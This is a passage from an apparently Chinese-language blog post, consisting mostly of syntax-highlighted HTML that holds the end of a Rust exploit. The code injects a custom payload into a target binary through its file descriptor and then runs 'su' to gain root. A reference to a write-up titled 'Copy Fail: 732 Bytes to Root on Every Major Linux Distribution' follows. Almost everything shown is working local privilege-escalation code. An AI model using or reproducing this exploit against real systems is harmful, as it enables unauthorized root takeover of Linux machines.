class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fs</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">read</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">bin_path</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?<span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">open</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TARGET_BINARY</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>?<span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">inject_payload</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_raw_fd</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">custom_payload</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-set z-python"> <span class="z-punctuation z-section z-set z-end z-python">}</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-constant z-character z-escape z-python">\n</span>[+] Injection complete. Executing <span class="z-constant z-other z-placeholder z-python"><span class="z-punctuation z-definition z-placeholder z-begin z-python">{</span><span class="z-punctuation z-definition z-placeholder z-end z-python">}</span></span>...<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">TARGET_BINARY</span></span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">CString</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">new</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">su<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">unwrap</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">execvp</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">cmd</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">null</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span><span class="z-source z-python"> <span class="z-invalid z-illegal z-stray z-brace z-curly z-python">}</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span><span class="z-keyword z-operator z-comparison z-python">&gt;</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">println</span></span>!<span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">[!] Unknown option.<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-invalid z-illegal z-stray z-brace z-curly z-python">}</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">Ok</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-sequence z-tuple z-empty z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-invalid z-illegal z-stray z-brace z-curly z-python">}</span> </span></code></pre> <h2 id="can-kao-wen-xian">参考文献</h2> <p><a rel="noopener noreferrer" target="_blank" href="https://xint.io/blog/copy-fail-linux-distributions">Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint</a></p>